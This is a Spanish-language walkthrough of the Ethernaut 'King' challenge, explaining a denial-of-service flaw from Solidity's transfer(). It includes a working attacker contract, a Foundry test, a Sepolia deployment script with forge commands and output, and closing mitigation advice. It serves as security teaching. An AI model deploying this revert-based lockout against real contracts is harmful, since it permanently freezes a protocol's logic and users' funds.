Ethernaut Level 9 Walkthrough: Cómo Romper el Contrato King usando transfer()
En este artículo analizaremos y resolveremos el reto número 9 de Ethernaut: King.
Este nivel introduce una vulnerabilidad clásica de tipo Denial of Service (DoS) causada por el uso inseguro de transfer() en Solidity.
Además de resolver el reto, entenderemos:
- Cómo funcionan
send,transferycall - Por qué
transfer()puede bloquear contratos - Cómo explotar un DoS via revert
- Cómo construir un contrato atacante en Solidity
- Cómo validar el exploit usando Foundry y Sepolia
Esta serie está diseñada tanto para desarrolladores de smart contracts como para personas interesadas en auditoría y seguridad ofensiva en Web3.
Si eres desarrollador, aprenderás patrones inseguros que debes evitar en producción.
Si te interesa la seguridad de smart contracts, estos retos te ayudarán a reconocer vulnerabilidades reales utilizadas en exploits y auditorías profesionales.
Puedes intentar resolver el reto por tu cuenta primero y luego regresar a este writeup, o seguir el artículo paso a paso mientras analizamos el exploit para que aprendas la vulnerabilidad y despues puedas resolver el reto en ethernaut.
Si quieres ver los videos donde resolví los primeros 8 retos del Ethernaut y aprender sobre esos bugs puedes verlos en nuestro canal en YouTube - Seclat y no olvides suscríbirte.
¿Qué es Ethernaut?
Ethernaut es una plataforma creada por OpenZeppelin para aprender seguridad de smart contracts mediante retos prácticos.
Cada nivel introduce una vulnerabilidad real utilizada históricamente en contratos inteligentes, permitiendo aprender explotación, análisis y mitigación de bugs en Solidity.
En este caso resolveremos el reto King, enfocado en vulnerabilidades de tipo Denial of Service (DoS) mediante transferencias inseguras de ETH.
Descripción del Reto
El reto implementa un pequeño juego donde el usuario que envíe la mayor cantidad de ETH se convierte en el nuevo rey del contrato.
Sin embargo, cualquier usuario puede destronar al rey actual enviando una cantidad mayor de ETH.
El objetivo del reto es:
Convertirse en el rey y evitar que cualquier otro usuario pueda volver a tomar el trono.
Vulnerability Classification
| Categoría | Valor |
|---|---|
| Vulnerabilidad: | Denial of Service (DoS) |
| Root Cause: | Uso inseguro de transfer() |
| Impacto: | Bloqueo permanente del juego |
| Severidad: | Medium |
| Tipo de ataque: | DoS via revert |
Análisis del Contrato Vulnerable
Este es el contrato del reto:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint256 public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
Root Cause de la Vulnerabilidad
A primera vista, el contrato parece seguro: únicamente implementa una mecánica simple donde el usuario que envíe más ETH se convierte en el nuevo rey.
Sin embargo, existe una vulnerabilidad crítica de tipo Denial of Service (DoS) debido al uso de transfer() para realizar reembolsos al rey anterior.
La lógica vulnerable es esta:
payable(king).transfer(msg.value);
El contrato intenta devolver el ETH al rey anterior antes de actualizar al nuevo rey.
El problema ocurre porque transfer() revierte automáticamente si el receptor no puede aceptar ETH.
Esto significa que si un atacante logra convertirse en rey usando un contrato que rechace recibir ETH, cualquier intento futuro de destronarlo fallará.
La vulnerabilidad no consiste en robar fondos.
El objetivo del atacante es bloquear permanentemente el flujo normal del contrato, evitando que futuros usuarios puedan convertirse en el nuevo rey.
Entendiendo: send, transfer y call.
Para comprender completamente este reto es importante entender cómo funcionan las principales formas de enviar ETH en Solidity.
send
address(payable).send(amount)
Características:
- Envía ETH a una dirección.
- Reenvía únicamente 2300 gas.
- Retorna
trueofalsepara validar la Tx. - No revierte automáticamente.
transfer
address(payable).transfer(amount)
Características:
- Envía ETH a una dirección.
- Reenvía únicamente 2300 gas.
- Revierte automáticamente en caso de error.
Este comportamiento es precisamente el origen de la vulnerabilidad en este reto.
call
address.call{value: amount}("")
Características:
- Método moderno recomendado para enviar ETH.
- Reenvía gas dinámicamente siguiendo la regla 63/64 del EIP-150.
- Retorna
(bool success, bytes memory data). - Permite ejecución arbitraria en el receptor.
Debido a esto, las funciones que utilizan call deben protegerse contra reentrancy attacks usando patrones como:
- Checks-Effects-Interactions (CEI)
- Reentrancy Guards
¿Por Qué transfer() es Peligroso?
Aunque send() y transfer() siguen disponibles en Solidity, actualmente se consideran anti-patterns para transferencias de ETH debido a cambios en los costos de gas introducidos por EIPs como EIP-1884.
La recomendación moderna es utilizar:
address.call{value: amount}("")
junto con protecciones contra reentrancy.
Estrategia del Ataque
Ahora que entendemos el problema, podemos diseñar el exploit.
Sabemos que:
- El contrato usa
transfer() transfer()revierte si el receptor no acepta ETH- El contrato devuelve ETH al rey anterior antes de actualizar el nuevo rey
Entonces la estrategia será:
- Crear un contrato atacante que NO pueda recibir ETH
- Convertir ese contrato en el rey
- Forzar que cualquier intento futuro de reemplazarlo falle
De esta forma bloquearemos permanentemente el contrato.
Contrato Atacante
Crearemos el siguiente contrato:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
///@notice This contract cannot receive ether, so once it becomes the king, it will never give up the throne,
// because the receive function of the King contract will fail when trying to send ether to this contract.
contract KingForever {
address public king;
address public owner;
constructor(address _kingSC) {
owner = msg.sender;
king = _kingSC;
}
/// Execute the attack and become the king forever.
function attack() public payable {
require(owner == msg.sender, "Not The Owner");
(bool result,) = king.call{value: msg.value}("");
if (!result) revert();
}
}
Este contrato ejecuta el ataque enviando ETH al contrato vulnerable para convertirse en el nuevo rey.
La clave del exploit es que este contrato no implementa receive() ni fallback() para aceptar ETH, por lo tanto, cuando el contrato King intente devolver ETH usando transfer(), la transacción revertirá automáticamente.
Validando el Exploit con Foundry
Despues de clonar el repositorio de ethernaut en nuestro equipo, crearemos un test usando Foundry para validar el ataque.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {King} from "src/levels/King.sol";
import {KingFactory} from "src/levels/KingFactory.sol";
import {KingForever} from "test/Solutions/Attacks/KingForever.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";
contract TestKing_L8 is Test, Utils {
Ethernaut ethernaut;
King instance;
address payable owner;
address payable player;
function setUp() public {
address payable[] memory users = createUsers(2);
owner = users[0];
vm.label(owner, "Owner");
player = users[1];
vm.label(player, "Player");
vm.startPrank(owner);
ethernaut = getEthernautWithStatsProxy(owner);
KingFactory factory = new KingFactory();
ethernaut.registerLevel(Level(address(factory)));
vm.stopPrank();
vm.startPrank(player);
instance = King(
payable(
createLevelInstance(ethernaut,Level(address(factory)),0.001 ether)
)
);
vm.stopPrank();
}
/// @notice Check initial state.
function testInit() public {
vm.startPrank(player);
assertFalse(submitLevelInstance(ethernaut, address(instance)));
}
/// @notice Execute the exploit.
function testSolve() public {
vm.startPrank(player);
KingForever attacker =new KingForever(address(instance));
attacker.attack{value: 0.002 ether}();
assertEq(instance._king(), address(attacker));
assertTrue(
submitLevelInstance(ethernaut, address(instance))
);
}
}
Ejecutando el Test
Para ejecutar el test en un fork de Sepolia usamos:
forge test --mp King_L8.t.sol --mt testSolve --fork-url $SEPOLIA_RPC -vv
es necesario tener la variable SEPOLIA_RPC en tu archivo .env ,
si la terminal no reconoce la variable $SEPOLIA_RPC, ejecuta:
source .env
Al ejecutar el test veremos que el exploit funciona correctamente y el nivel es resuelto exitosamente.
Resolviendo el Nivel en Sepolia
Ahora crearemos un script para ejecutar el ataque directamente sobre la instancia generada en Ethernaut.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
import {Script} from "forge-std/Script.sol";
import {King} from "src/levels/King.sol";
import {KingForever} from "test/Solutions/Attacks/KingForever.sol";
import {console} from "forge-std/console.sol";
contract KingScript is Script {
King public king;
KingForever public attacker;
address player =
0x79ca0378515232218094a16B2CEdB7f3f0c6b657;
function setUp() public {
king = King(
payable(
0xCCB930b75db245A557aFC7A84f52bBd3F2dFd513
)
);
}
function run() public {
vm.startBroadcast();
attacker = new KingForever(address(king));
attacker.attack{value: 0.002 ether}();
console.log("Attacker contract address:",address(attacker));
console.log("Current king:",king._king());
vm.stopBroadcast();
}
}
Ejecutando el Script
Primero ejecutamos el script localmente:
forge script scripts/King.s.sol --rpc-url $SEPOLIA_RPC
Si todo funciona correctamente, podemos enviarlo a Sepolia:
forge script scripts/King.s.sol \
--rpc-url $SEPOLIA_RPC \
--broadcast \
--interactives 1 \
-vvv
Resultado del Ataque
Script ran successfully.
== Logs ==
Attacker contract address: 0xEBBDD258e21f074fa24cc4209c0513A0774A5ec9
Current king: 0xEBBDD258e21f074fa24cc4209c0513A0774A5ec9
ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.
Una vez ejecutado el script exitosamente, el contrato atacante se convierte en el rey permanente del juego.
Finalmente, solo queda enviar la instancia desde la plataforma de Ethernaut para marcar el nivel como resuelto.

Lecciones Aprendidas
Este reto demuestra por qué el uso de transfer() puede introducir vulnerabilidades de Denial of Service en smart contracts.
Cuando un contrato depende de que una transferencia de ETH siempre tenga éxito, un atacante puede bloquear completamente la lógica del sistema utilizando un contrato que rechace recibir fondos.
Actualmente, la práctica recomendada es:
- Usar
call{value: amount}("") - Implementar el patrón Checks-Effects-Interactions
- Proteger funciones externas con mecanismos anti-reentrancy
- Evitar asumir que los receptores podrán aceptar ETH
Aunque Ethernaut simplifica los escenarios para fines educativos, este tipo de vulnerabilidad ha aparecido en protocolos reales dentro del ecosistema Ethereum.
Conclusión
En este reto explotamos una vulnerabilidad de tipo DoS causada por el uso inseguro de transfer().
Creamos un contrato atacante incapaz de recibir ETH y lo utilizamos para bloquear permanentemente el contrato vulnerable, evitando que cualquier otro usuario pudiera convertirse en el nuevo rey.
Este nivel es una excelente introducción a:
- DoS via revert
- Transferencias inseguras de ETH
- Limitaciones de
transfer() - Patrones seguros para envío de fondos
- Diseño seguro de smart contracts
Si te gustó este writeup, puedes seguir la serie completa donde resolveremos más niveles de Ethernaut y analizaremos vulnerabilidades reales de smart contracts y protocolos DeFi.
Tambien puedes revisar más contenido de seguridad Web3 en nuestro blog